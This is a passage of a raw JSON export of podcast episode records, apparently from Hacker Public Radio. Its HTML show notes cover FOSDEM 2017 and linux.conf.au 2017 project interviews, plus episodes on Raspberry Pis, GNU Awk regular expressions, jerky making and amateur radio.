                                                            \n
                                                            \nDer Verein fördert die Wissenschaft, Forschung und Verbraucherberatung. Insbesondere ist Zweck des Vereins die Förderung der Sicherheit im Internet und die Unterstützung von Anwendern bei der Anwendung sicherer Kommunikation.\n
                                                            \n

                                                            Listen to the interview with Eva Stöwe

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM 2017, ReactOS, Haiku, Gentoo, CoreOS, Debian, PostgreSQL, Nextcloud, Bazel, Open Build Service/OpenQA, FSFE, Vikings, Tor, Xen, OpenStack, oVirt, Foreman, Gluster, ownCloud, CAcert, secure-u","version":0,"downloads":0,"valid":1}, {"id":2224,"date":"2017-02-09","title":"FOSDEM 2017 K (level 2 Stands 1 to 9)","duration":4639,"summary":"Ken interviews the projects in the K building level 2 at stands 1 to 9","notes":"

                                                            Table of Contents

                                                            \n\n\n\n
                                                            \n

                                                            \"Mozilla\"

                                                            \n

                                                            https://www.mozilla.org/en-US/

                                                            \n
                                                            \nHi. We're Mozilla, the proudly non-profit champions of the Internet, helping to keep it healthy, open and accessible to all.\n
                                                            \n

                                                            Listen to the interview with Ludovic Hirlimann

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"diaspora\"

                                                            \n

                                                            https://diasporafoundation.org/

                                                            \n
                                                            \ndiaspora* is a true network, with no central base. There are servers (called \"pods\") all over the world, each containing the data of those users who have chosen to register with it. These pods communicate with each other seamlessly, so that you can register with any pod and communicate freely with your contacts, wherever they are on the network.\n
                                                            \n

                                                            Listen to the interview with Lukas Matt

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Apache

                                                            \n

                                                            https://www.apache.org/

                                                            \n
                                                            \nThe mission of the Apache Software Foundation (ASF) is to provide software for the public good. We do this by providing services and support for many like-minded software project communities of individuals who choose to join the ASF.\n
                                                            \n

                                                            Listen to the interview with Mechtilde Stehmaan

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OW2\"

                                                            \n

                                                            https://www.ow2.org/bin/view/Main/

                                                            \n
                                                            \nOW2 is an independent, global, open-source software community. The mission of OW2 is to a) promote the development of open-source middleware, generic business applications, cloud computing platforms and b) foster a vibrant community and business ecosystem. OW2 developments follow a flexible, component-based approach. These components range from specific software frameworks, protocols and applications through to integrated, service-oriented platforms.\n
                                                            \n

                                                            Listen to the interview with Cedric Thomas

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Jenkins\"

                                                            \n

                                                            https://jenkins.io/index.html

                                                            \n
                                                            \nJenkins is an open source automation server which enables developers around the world to reliably build, test, and deploy their software. Jenkins, originally founded in 2006 as \"Hudson\", is one of the leading automation servers available. Using an extensible, plugin-based architecture developers have created hundreds of plugins to adapt Jenkins to a multitude of build, test, and deployment automation workloads.\n
                                                            \n

                                                            Listen to the interview with Robert Sandell

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Tiki\"

                                                            \n

                                                            https://tiki.org/

                                                            \n
                                                            \nTiki Wiki CMS Groupware or simply Tiki, originally known as TikiWiki, is a free and open source Wiki-based content management system and online office suite written primarily in PHP and distributed under the GNU Lesser General Public License (LGPL) license. In addition to enabling websites and portals on the internet and on intranets and extranets, Tiki contains a number of collaboration features allowing it to operate as a Geospatial Content Management System (GeoCMS) and Groupware web application. \n
                                                            \n

                                                            Listen to the interview with Alexander Mette

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"XWiki\"

                                                            \n

                                                            https://xwiki.org/

                                                            \n
                                                            \nXWiki Enterprise is a professional wiki with enterprise features such as Blog, strong rights management, LDAP authentication, PDF export, full skining and more. It also includes an advanced Form and scripting engine making it a development environment for data-based applications. It has powerful extensibility features such as scripting in pages, plugins and a highly modular architecture. \n
                                                            \n

                                                            Listen to the interview with Ludovic Dubost

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"WikiSuite\"

                                                            \n

                                                            https://wikisuite.org/Software

                                                            \n
                                                            \nWikiSuite is especially suited to knowledge-centric organizations and offers most (80%+) of the data and information management features all organizations need\n
                                                            \n

                                                            Listen to the interview with Marc Laporte

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OpenNMS\"

                                                            \n

                                                            https://www.opennms.org

                                                            \n
                                                            \nOpenNMS is a free and open-source enterprise grade network monitoring and network management platform. It is developed and supported by a community of user and developers as well as by the The OpenNMS Group, offering commercial services, training and support. The goal is for OpenNMS to be a truly distributed, scalable management application platform for all aspects of the FCAPS network management model while remaining 100% free and open source.\n
                                                            \n

                                                            Listen to the interview with Tarus Balog

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Kolab\"

                                                            \n

                                                            https://kolab.org/

                                                            \n
                                                            \nThe Kolab Groupware Solution offers Personal Information Management for deployments of any size. It runs on a Rasberry Pi and in clouds spread over multiple data centres. Kolab provides a secure, scalable and reliable collaboration server. Since it is Free Software, it is not only used by large companies and organisation, but also by many individuals who care about being in control of their personal information.Kolab is a free and open source groupware suite.\n
                                                            \n

                                                            Listen to the interview with Christian Mollekopf

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Turris

                                                            \n

                                                            https://omnia.turris.cz/en/

                                                            \n
                                                            \nMore than just a router. The open-source center of your home. Home router is necessary to connect you to the Internet but it is idle most of the time, just eating electricity. Why not use it for more tasks? With powerful hardware, Turris Omnia can handle gigabit traffic and still be able to do much more. You can use it as a home server, NAS, printserver and it even has a virtual server built-in.\n
                                                            \n

                                                            Listen to the interview with Michal Hrušecký / Václav Zbránek

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM 2017, Mozilla, diaspora*, Apache Software Foundation, OW2, Jenkins, Tiki, XWiki, WikiSuite, OpenNMS, Kolab, Turris Omnia","version":0,"downloads":0,"valid":1}, {"id":2225,"date":"2017-02-10","title":"FOSDEM 2017 K (level 2 Stands 10 to 19)","duration":3561,"summary":"Ken interviews the projects in the K building level 2 at stands 10 to 19","notes":"

                                                            Table of Contents

                                                            \n\n\n\n
                                                            \n

                                                            \"Open

                                                            \n

                                                            https://opensmartgridplatform.org/

                                                            \n
                                                            \nThe Open Smart Grid Platform allows you to monitor and control hardware in the public space. With several (generic) functions ready to use, the main benefits of the Open Smart Grid Platform are: scalability & high availability, high security, its generic design, and no vendor lock-in.\n
                                                            \n

                                                            Listen to the interview with Sander Jansen

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Perl

                                                            \n

                                                            https://www.perl.org/

                                                            \n
                                                            \nPerl 5 is a highly capable, feature-rich programming language with over 29 years of development. Perl 5 runs on over 100 platforms from portables to mainframes and is suitable for both rapid prototyping and large scale development projects. \"Perl\" is a family of languages, \"Perl 6\" is part of the family, but it is a separate language which has its own development team. Its existence has no significant impact on the continuing development of \"Perl 5\".\n
                                                            \n

                                                            Listen to the interview with Wendy G.A. van Dijk / Mark \"shadowcat\" Keating / Curtis \"Ovid\" Poe

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Coala\"

                                                            \n

                                                            https://coala.io/

                                                            \n
                                                            \nLinting and Fixing Code for All Languages\n
                                                            \n

                                                            Listen to the interview with Sebastian Latacz / Lasse Schuirmann

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Linux

                                                            \n

                                                            https://www.linuxfromscratch.org/

                                                            \n
                                                            \nLinux From Scratch (LFS) is a type of a Linux installation and the name of a book written by Gerard Beekmans, among others. The book gives readers instructions on how to build a Linux system from source. Linux From Scratch is a way to install a working Linux system by building all components of it manually. This is a longer process than installing a pre-compiled Linux distribution. The advantages to this method are a compact, flexible and secure system and a greater understanding of the internal workings of the Linux-based operating systems.\n
                                                            \n

                                                            Listen to the interview with Julien Lepiller

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Google

                                                            \n

                                                            https://developers.google.com/open-source/gci/

                                                            \n
                                                            \nGoogle Code-in is an annual programming competition hosted by Google Inc. that allows pre-university students to complete tasks specified by various, partnering open source organizations. Students that complete tasks win certificates and T-shirts. Each organization also selects two grand prize award winners who will earn a trip to Google's Headquarters located in Mountain View, CA.\n
                                                            \n

                                                            Listen to the interview with Josh Simmons

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"GSoC\"

                                                            \n

                                                            https://developers.google.com/open-source/gsoc/

                                                            \n
                                                            \nSpend your summer break writing code and learning about open source development while earning a stipend! Accepted students work with a mentor and become a part of the open source community. Many become lifetime open source developers! Google Summer of Code is open to post-secondary students, age 18 and older in most countries.\n
                                                            \n

                                                            Listen to the interview with Josh Simmons

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Ultimaker\"

                                                            \n

                                                            https://ultimaker.com/

                                                            \n
                                                            \nProfessional 3D printing made accessible. Accurate, consistent results - tailored to your business. Highly complex 3D prints, industrial-grade materials, maximum performance, and future-ready 3D printing experience. With ultimate accessibility.\n
                                                            \n

                                                            Listen to the interview with Rodney Becker

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"SOFA\"

                                                            \n

                                                            https://www.sofa-framework.org/

                                                            \n
                                                            \nSimulation Open Framework Architecture (SOFA) is an open source multiplatform framework primarily targeted at real-time physical simulation, with an emphasis on medical simulation. It is mostly intended for the research community to help develop new algorithms, but can also be used as an efficient prototyping tool or as a physics engine.\n
                                                            \n

                                                            Listen to the interview with Hugo Talbot

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"MuseScore\"

                                                            \n

                                                            https://MuseScore.org

                                                            \n
                                                            \nMuseScore is a company devoted to helping aspiring musicians in their journey to master the music they love. MuseScore offers free, open-source, powerful, and easy-to-use music notation software to create high-quality sheet music, with audio score playback for results that look and sound beautiful. MuseScore has also formed an online community where musicians can share their creations, privately or publicly, through downloads, embeddable widgets, or MuseScore's mobile apps, while also bringing additional social features to sheet music.\n
                                                            \n

                                                            Listen to the interview with Nicolas Froment

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Matrix.org\"

                                                            \n

                                                            https://matrix.org

                                                            \n
                                                            \nMatrix.org is a non-profit open source initiative dedicated to creating and maintaining the Matrix open standard for decentralised communication, whose goal is to create an open and secure ecosystem for interoperable messaging, VoIP and IoT communication and history on the internet.\n
                                                            \n

                                                            Listen to the interview with Matthew Hodgson

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM 2017, Open Smart Grid Platform, Perl Programming Language, Coala, Linux From Scratch, Google Code-in, GSoC, Ultimaker, SOFA, MuseScore, Matrix.org","version":0,"downloads":0,"valid":1}, {"id":2226,"date":"2017-02-13","title":"FOSDEM 2017 AW Building","duration":4164,"summary":"Ken interviews the projects in the AW building","notes":"

                                                            Table of Contents

                                                            \n\n\n\n
                                                            \n

                                                            \"coreboot\"

                                                            \n

                                                            https://www.coreboot.org/

                                                            \n
                                                            \ncoreboot is a replacement for your BIOS / UEFI with a strong focus on boot speed, security and flexibility. It is designed to boot your operating system as fast as possible without any compromise to security, with no back doors, and without any cruft from the 80s. It was originally designed for large super-computers with thousands of nodes, but it will run on your desktop, headless internet server, laptop, tablet or your favorite IoT device.\n
                                                            \n

                                                            Listen to the interview with Julian Laubstein

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"GNU

                                                            \n

                                                            https://www.gnu.org/software/grub/

                                                            \n
                                                            \nGNU GRUB is a Multiboot boot loader. It was derived from GRUB, the GRand Unified Bootloader, which was originally designed and implemented by Erich Stefan Boleyn. Briefly, a boot loader is the first software program that runs when a computer starts. It is responsible for loading and transferring control to the operating system kernel software (such as the Hurd or Linux). The kernel, in turn, initializes the rest of the operating system (e.g. GNU).\n
                                                            \n

                                                            Listen to the interview with Vladimir 'phcoder' Serbinenko / Daniel Kiper

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Olimex\"

                                                            \n

                                                            https://www.olimex.com

                                                            \n
                                                            \nOlimex Ltd is a leading provider for development tools and programmers for embedded market. The company has 25+ years experience in designing, prototyping and manufacturing printed circuit boards, sub-assemblies, and complete electronic products. We are established in 1991 in Plovdiv - the second largest city in Bulgaria. We have extensive knowledge in analog, digital, and microcontroller design, and we offer our own-designed development boards, programmers and emulators for rapid prototyping ARM, AVR, MSP430, MAXQ and PIC microcontrollers.\n
                                                            \n

                                                            Listen to the interview with Tsvetan Usunov

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Automotive

                                                            \n

                                                            https://www.automotivelinux.org/

                                                            \n
                                                            \nAutomotive Grade Linux (AGL) is a Linux Foundation Workgroup dedicated to creating open source software solutions for automotive applications. Although the initial target for AGL is In-Vehicle-Infotainment (IVI) systems, additional use cases such as instrument clusters and telematics systems will eventually be supported. AGL has participants from the Automotive, Communications, and Semiconductor Industries and welcomes contributions from individual developers. \n
                                                            \n

                                                            Listen to the interview with Jan-Simon Möller

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Ham

                                                            \n

                                                            https://uba.be/en/home

                                                            \n
                                                            \nAmateur radio is a hobby for people who like to talk using radio transmitters. Many people enjoy using amateur radio to talk to other amateur radio hobbyists in other countries. Amateur radio hobbyists also use their radio transmitters to get help in emergencies. Amateur radio is often called Ham Radio. Many people use their amateur radios for fun. People who use Amateur radio are often called amateur radio operators, hams or amateurs.\n
                                                            \n

                                                            Listen to the interview with Kristoff Bonne

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"CorteXlab\"

                                                            \n

                                                            https://www.cortexlab.fr/

                                                            \n
                                                            \nCorteXlab is a radio testbed based on Software Defined Radio (SDR) and comprised of 40 radio nodes that allow remote users to test their own radio algorithms. The architecture will be also opened to industry third party to deploy their own front-end (RF or UWB) or baseband systems to test and validate their developments.\n
                                                            \n

                                                            Listen to the interview with Léonardo S. Cardoso

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"OpenEmbedded\"

                                                            \n

                                                            https://www.openembedded.org/

                                                            \n
                                                            \nWelcome to OpenEmbedded, the build framework for embedded Linux. OpenEmbedded offers a best-in-class cross-compile environment. It allows developers to create a complete Linux Distribution for embedded systems.\n
                                                            \n

                                                            Listen to the interview with Andreas Müller

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"FOSDEM 2017, coreboot, GNU GRUB, Olimex, Automotive Grade Linux, Ham radio, CorteXlab, OpenEmbedded","version":0,"downloads":0,"valid":1}, {"id":2227,"date":"2017-02-14","title":"FOSDEM 2017 H Building and the Hallway track","duration":5099,"summary":"Ken interviews the projects in the H building and anyone else that wants to talk.","notes":"

                                                            Table of Contents

                                                            \n\n\n
                                                            \n

                                                            \"Godot

                                                            \n

                                                            https://godotengine.org/

                                                            \n
                                                            \nGodot is an advanced, feature-packed, multi-platform 2D and 3D open source game engine. Godot provides a huge set of common tools, so you can just focus on making your game without reinventing the wheel. Godot is completely free and open source under the very permissive MIT license. No strings attached, no royalties, nothing. Your game is yours, down to the last line of engine code.\n
                                                            \n

                                                            Listen to the interview with Rémi Verschelde

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Software

                                                            \n

                                                            https://sfconservancy.org/

                                                            \n
                                                            \nSoftware Freedom Conservancy, Inc. is a 501(c)(3) not-for-profit organization incorporated in New York. Software Freedom Conservancy helps promote, improve, develop, and defend Free, Libre, and Open Source Software (FLOSS) projects. Conservancy provides a non-profit home and infrastructure for FLOSS projects.\n
                                                            \n

                                                            Listen to the interview with Bradley M. Kuhn

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"BBC

                                                            \n

                                                            https://www.bbc.co.uk/opensource/

                                                            \n
                                                            \nThe BBC has been using and contributing to open source projects for as long as we've had a website. This site brings together all the open source projects across the BBC with links to all our documentation and source code and information on how to get involved. Open source code used on public facing services, internal services and educational resources.\n
                                                            \n

                                                            Listen to the interview with David Buckhurst

                                                            \n

                                                            \n

                                                            \n

                                                            \"photo

                                                            \n

                                                            \"photo

                                                            \n\n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"WolfSSL\"

                                                            \n

                                                            https://www.wolfssl.com/wolfSSL/Home.html

                                                            \n
                                                            \nEmbedded SSL/TLS Library for Applications, Devices, IoT, and the Cloud. Providing secure communication for IoT, smart grid, connected home, automobiles, routers, applications, games, IP, mobile phones, the cloud, and more.\n
                                                            \n

                                                            Listen to the interview with Chris Conlon

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"GrimoireLab\"

                                                            \n

                                                            https://grimoirelab.github.io/

                                                            \n
                                                            \nfree, libre, open source tools for software development analytics.\n
                                                            \n

                                                            Listen to the interview with Daniel Izquierdo Cortázar

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"MySQL\"

                                                            \n

                                                            https://www.mysql.com/

                                                            \n
                                                            \nMySQL is the world's most popular open source database. With its proven performance, reliability and ease-of-use, MySQL has become the leading database choice for web-based applications, used by high profile web properties including Facebook, Twitter, YouTube, Yahoo! and many more. Oracle drives MySQL innovation, delivering new capabilities to power next generation web, cloud, mobile and embedded applications.\n
                                                            \n

                                                            Listen to the interview with Mark Leith

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Kallithea\"

                                                            \n

                                                            https://kallithea-scm.org/

                                                            \n
                                                            \nKallithea, a member project of Software Freedom Conservancy, is a GPLv3'd, Free Software source code management system that supports two leading version control systems, Mercurial and Git, and has a web interface that is easy to use for users and admins. You can install Kallithea on your own server and host repositories for the version control system of your choice.\n
                                                            \n

                                                            Listen to the interview with Andrew Shadura

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"World

                                                            \n

                                                            https://wpia.club/en/

                                                            \n
                                                            \nThe World Privacy and Identity Association (WPIA) is anxious to transfer the human rights to protect one's privacy and identity into the cyber space. WPIA is going to foster political education, seek exchange with politicians, develop software, and operate a free certificate authority. Everything will be done to patronise and substain your digital rights. We make it happen for empowering the digital YOU!\n
                                                            \n

                                                            Listen to the interview with Reinhard Mutz

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"XMPP\"

                                                            \n

                                                            https://xmpp.org/

                                                            \n
                                                            \nXMPP is the open standard for messaging and presence. XMPP powers emerging technologies like IoT, WebRTC, and social. No one owns XMPP. It's free and open for everyone since 1999. It's a living standard. Engineers actively extend and improve it. Millions use XMPP software daily to connect to people and services.\n
                                                            \n

                                                            Listen to the interview with Sam Whited

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"Pulp\"

                                                            \n

                                                            https://pulpproject.org/

                                                            \n
                                                            \nPulp is a platform for managing repositories of software packages and making it available to a large numbers of consumers. Pulp can locally mirror all or part of a repository, host your own software packages in repositories, and manage many types of content from multiple sources in one place.\n
                                                            \n

                                                            Listen to the interview with Brian Bouterse

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"SHA2017\"

                                                            \n

                                                            https://sha2017.org/

                                                            \n
                                                            \nSHA2017 is a non profit outdoor Hacker camp/conference taking place in The Netherlands from the 4th to 8th of August 2017. It is the successor of a string of similar events happening every four years. These are GHP, HEU, HIP, HAL, WTH, HAR and OHM. Similar events are EMF Camp 2016 in the UK, CCC Camp and congress in Germany. The location is the Scoutinglandgoed in Zeewolde, 55km east of Amsterdam.\n
                                                            \n

                                                            Listen to the interview with Robin Edgar

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n

                                                            \"ManageIQ\"

                                                            \n

                                                            https://manageiq.org/

                                                            \n
                                                            \nManageIQ is an open source management platform for Hybrid IT. It can manage small and large environments, and supports multiple technologies such as virtual machines, public clouds and containers. With ManageIQ you will be able to: Continuously discover the latest state of your environment. Implement self service for your end users. Enforce compliance across the environment. Optimize the performance and utilization of you environment.\n
                                                            \n

                                                            Listen to the interview with Carol Chene

                                                            \n

                                                            \n

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n","hostid":30,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Godot Engine, SFC, BBC Open Source, WolfSSL, GrimoireLab, MySQL, Kallithea, WPIA, XMPP, Pulp, SHA2017, ManageIQ","version":0,"downloads":0,"valid":1}, {"id":2228,"date":"2017-02-15","title":"linux.conf.au 2017: Russell Keith-Magee","duration":1055,"summary":"A wide ranging interview with Russell Keith-Magee","notes":"

                                                            I interview Russell Keith-Magee at linux.conf.au 2017 in Hobart, Tasmania, Australia.

                                                            \n

                                                            linux.conf.au

                                                            \n\n","hostid":315,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2229,"date":"2017-02-16","title":"linux.conf.au 2017: Kathy Reid","duration":1600,"summary":"An interview with the new Linux Australia president Kathy Reid","notes":"

                                                            Clinton interviews Kathy Reid, the new president of Linux Australia.

                                                            \n

                                                            linux.conf.au

                                                            \n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2230,"date":"2017-02-17","title":"linux.conf.au 2017: Donna Benjamin","duration":1965,"summary":"Clinton interviews speaker and previous linux.conf.au organiser Donna Benjamin","notes":"\n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2231,"date":"2017-02-20","title":"linux.conf.au 2017: Rusty Russell","duration":2231,"summary":"Clinton interviews linux.conf.au creator Rusty Russell","notes":"

                                                            CCAN https://ccodearchive.net/

                                                            \n

                                                            linux.conf.au

                                                            ","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2232,"date":"2017-02-21","title":"linux.conf.au 2017: Lilly Ryan","duration":953,"summary":"An interview with speaker and trainer Lilly Ryan","notes":"

                                                            Coder Dojo

                                                            \n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2233,"date":"2017-02-22","title":"linux.conf.au 2017: Hugh Blemmings","duration":2233,"summary":"Clinton interviews Hugh Blemmings of the Linux Australia council","notes":"

                                                            Clinton speaks with Hugh Blemmings, immediate past President of Linux Australia

                                                            \n

                                                            Linux Australia
                                                            \nlinux.org.au

                                                            \n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2234,"date":"2017-02-23","title":"linux.conf.au 2017: Richard Jones","duration":2234,"summary":"Two PyCon Australia organisers talk about PyConAu 2017","notes":"

                                                            Clinton chats with Richard Jones, head of PyCon Australia 2016/17

                                                            \n

                                                            We talk about PyCon Australia, and microPython.

                                                            \n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2235,"date":"2017-02-24","title":"linux.conf.au 2017: First timers interviews","duration":2235,"summary":"Clinton speaks to three linux.conf.au first timers","notes":"

                                                            Clinton speaks to three linux.conf.au first timers for their take on the conference: York, Cat and Neeraj.

                                                            \n","hostid":315,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"lca2017","version":0,"downloads":0,"valid":1}, {"id":2236,"date":"2017-02-27","title":"Hoarding Raspberry Pis","duration":1515,"summary":"In this episode, I discuss my growing obsession with building a Raspberry Pi data center.","notes":"

                                                            Show Notes

                                                            \n

                                                            In this episode, I discuss my growing obsession with building a Raspberry Pi data center.

                                                            \n\"Tower\n

                                                            Items referenced in this episode:

                                                            \n\n

                                                            Hope this was enjoyable, if not, informative!

                                                            \n","hostid":300,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi, server, raspbian","version":0,"downloads":0,"valid":1}, {"id":2237,"date":"2017-02-28","title":"Do you care?","duration":464,"summary":"Some thoughts on the phrase I couldn't care less.","notes":"

                                                            CPrompt talks about one of his pet-peeves. The phrase "I could care less"

                                                            \n","hostid":252,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"English,idiom","version":0,"downloads":0,"valid":1}, {"id":2238,"date":"2017-03-01","title":"Gnu Awk - Part 6","duration":2379,"summary":"Looking more deeply into Awk's regular expressions","notes":"

                                                            Gnu Awk - Part 6

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the sixth episode of the “Learning Awk” series that Mr. Young and I are doing.

                                                            \n

                                                            Recap of the last episode

                                                            \n

                                                            Regular expressions

                                                            \n

                                                            In the last episode we saw regular expressions in the ‘pattern’ part of a ‘pattern {action}’ sequence. Such a sequence is called a ‘RULE’, (as we have seen in earlier episodes).

                                                            \n
                                                            $1 ~ /p[elu]/ {print $0}
                                                            \n

                                                            Meaning: If field 1 contains a ‘p’ followed by one of ‘e’, ‘l’ or ‘u’ print the whole line.

                                                            \n
                                                            $2 ~ /e{2}/ {print $0}
                                                            \n

                                                            Meaning: If field 2 contains two instances of letter ‘e’ in sequence, print the whole line.

                                                            \n

                                                            It is usual to enclose the regular expression in slashes, which make it a regexp constant.

                                                            \n

                                                            We had a look at many of the operators used in regular expressions in episode 5. Unfortunately, some small errors crept into the list of operators mentioned in that episode. These are incorrect:

                                                            \n
                                                              \n
                                                            • \\A (beginning of a string)
                                                            • \n
                                                            • \\z (end of a string)
                                                            • \n
                                                            • \\b (on a word boundary)
                                                            • \n
                                                            \n

                                                            The first two operators exist, in languages like Perl and Ruby, but not in GNU Awk.

                                                            \n

                                                            For the ‘\\b’ sequence the GNU manual says:

                                                            \n
                                                            \n

                                                            In other GNU software, the word-boundary operator is ‘\\b’. However, that conflicts with the awk language’s definition of ‘\\b’ as backspace, so gawk uses a different letter. An alternative method would have been to require two backslashes in the GNU operators, but this was deemed too confusing. The current method of using ‘\\y’ for the GNU ‘\\b’ appears to be the lesser of two evils.

                                                            \n
                                                            \n

                                                            The corrected list of operators is discussed later in this episode.

                                                            \n

                                                            Replacement

                                                            \n

                                                            Last episode we saw the built-in functions that use regular expressions for manipulating strings. These are sub, gsub and gensub. Regular expressions are used in other functions but we will look at them later.

                                                            \n

                                                            We will be looking at sub, gsub and gensub in more detail in this episode.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a set of longer notes for this episode available by following this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk language, gawk, regular expression","version":0,"downloads":0,"valid":1}, {"id":2239,"date":"2017-03-02","title":"making jerky","duration":749,"summary":"jezra goes talks about his process for making jerky, while making jerky","notes":"
                                                              \n
                                                            • Slice meat thin and against the grain
                                                            • \n
                                                            • Season the meat
                                                            • \n
                                                            • Dehydrate the meat
                                                            • \n
                                                            \n

                                                            enjoy!

                                                            ","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"meat,jerky,dehydrator","version":0,"downloads":0,"valid":1}, {"id":2240,"date":"2017-03-03","title":"Amateur Radio Round Table","duration":3219,"summary":"HPR community hams get together to talk about ham radio","notes":"

                                                            HPR Amateur Radio Round Table

                                                            \n

                                                            2017-01-27, 0300 UTC

                                                            \n

                                                            Participants:

                                                            \n
                                                              \n
                                                            • cmhobbs KD5RYO
                                                            • \n
                                                            • Jon KT4KB
                                                            • \n
                                                            • Steve KD0IJP
                                                            • \n
                                                            • Michael DL4MGM
                                                            • \n
                                                            • Tyrel KG5RHT
                                                            • \n
                                                            \n

                                                            After a short introduction of the hosts, we start discussing the question that came up on the mailinglist:

                                                            \n

                                                            How do you get started at all? How do you get the license to participate in amateur radio?

                                                            \n

                                                            Probably the amateur radio organisation in your country will provide the essential information required for obtaining an amateur radio license. Start looking at the International Amateur Radio Union at https://www.iaru.org and track down your country. From there you can search for information about your local area and local groups. In the US, look for the ARRL at https://www.arrl.org.

                                                            \n

